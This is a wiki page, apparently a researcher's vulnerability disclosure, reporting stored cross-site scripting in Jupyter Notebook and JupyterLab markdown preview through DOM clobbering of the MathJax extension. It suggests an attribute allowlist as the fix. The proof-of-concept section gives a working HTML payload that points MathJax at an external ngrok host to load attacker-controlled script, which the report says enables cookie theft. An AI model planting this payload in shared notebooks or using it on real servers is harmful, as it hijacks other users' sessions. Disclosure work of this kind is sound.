Skip to content

Report JupyterLab

jackfromeast edited this page Jun 23, 2024 · 1 revision

Stored XSS on Jupyter Notebooks and JupyterLab Markdown Preview through DOM Clobbering

Summary

The Jupyter notebook and the Markdown preview page in JupyterLab allows user rendering HTML tags with improperly sanitized id and name attributes. This vulnerability enables attackers to execute cross-site scripting (XSS) attacks through DOM Clobbering.

Details

Attack

The rendering of the markdown cells in notebooks and .md files on the server lacks proper sanitization of HTML tags, allowing attackers to inject HTML tags with preserved name and id attributes. This vulnerability poses a threat of DOM clobbering attacks. For example, an attacker can inject and render an HTML tag like <a id="MathJax">, which will clobber the window.MathJax property lookup. As a result, the property lookup will return the attacker-injected HTML tag instead of being undefined. DOM clobbering is a technique where HTML structure manipulations unintentionally alter JavaScript object properties. For a comprehensive explanation of DOM clobbering, refer to DOM Clobbering Wiki. This vulnerability allows attackers to steal user cookies, which can lead to sereve consequences such as unauthorized access to user accounts and sensitive information.

DOM Clobbering

Combined with HTML injection on the notebook or markdown preview pages, the attack can be executed using DOM clobbering gadgets in the MathJax library (@jupyterlab-mathjax2-extension). Note that attackers can find different DOM clobbering gadgets based on the dependencies used on the server side. We focus on gadgets in the MathJax library because: 1/ it is a widely used official extension that can be easily installed through the portal; 2/ we have identified company-hosted JupyterLab instances in the real world that use this jupyterlab-mathjax2-extension and are vulnerable to this attack.

Prove-of-Vulnerability

This vulnerability can impact Jupyter users in several ways:

Shared Projects or Notebooks. When a project or jupyter notebooks is shared with collaborators, an attacker can upload a malicious file to the project server which has jupyterlab-mathjax2-extension extension instsalled. If a collaborator views the notebooks, they will be exposed to the attack.

Downloaded Files. Users who download and import a shared notebooks from the internet, which may contain malicious attack vectors, will also be susceptible to this vulnerability.

Patch

A whitelist of HTML attributes should be adopted in the client-side sanitizer to ensure proper sanitization of HTML tags before rendering.

PoC

**To Reproduce: **

Opening a Jupyter notebook or rendering an .md file with the following payload embedded will trigger the XSS attack:

The payload:

<a id="MathJax"></a>
<a id="MathJax" name="root" href="https://90d819b2e6eb.ngrok.app"></a>

Notes, the server need to have jupyterlab-mathjax2-extension extension instsalled for triggering the DOM Clobbering gadget. This DOM clobbering gadget allows an attacker to load //config/TeX-AMS-MML_HTMLorMML.js from an attacker-controlled server (e.g., https://90d819b2e6eb.ngrok.app). Note that this server is temporarily set up for the proof-of-concept for the developer. If the server is no longer available, please let me know. Ideally, the above attack vector should only alert GG! for ethical issue.

PoC Video

I have attached my PoC video at the following URL: https://drive.google.com/file/d/180grsg_wV-HygEjpKJ488PzAjcwKCS96/view?usp=sharing.

Note that for the markdown file preview page, whether the attack succeeds depends on the load timing of the MathJax.js resource (URL: https://localhost:8888/static/nbclassic/components/MathJax/MathJax.js?config=TeX-AMS-MML_HTMLorMML-full,Safe&delayStartupUntil=configured). If the JavaScript is loaded after the HTML tags have been rendered, the attack will occur. We have identified that this attack can succeed on real-world servers due to network throttling. To better demonstrate the attack, we used a URL throttling extension to delay the loading of the file by 200ms for a 100% success rate. However, on the notebook, the attack always works regardless of the timing issue.

Clone this wiki locally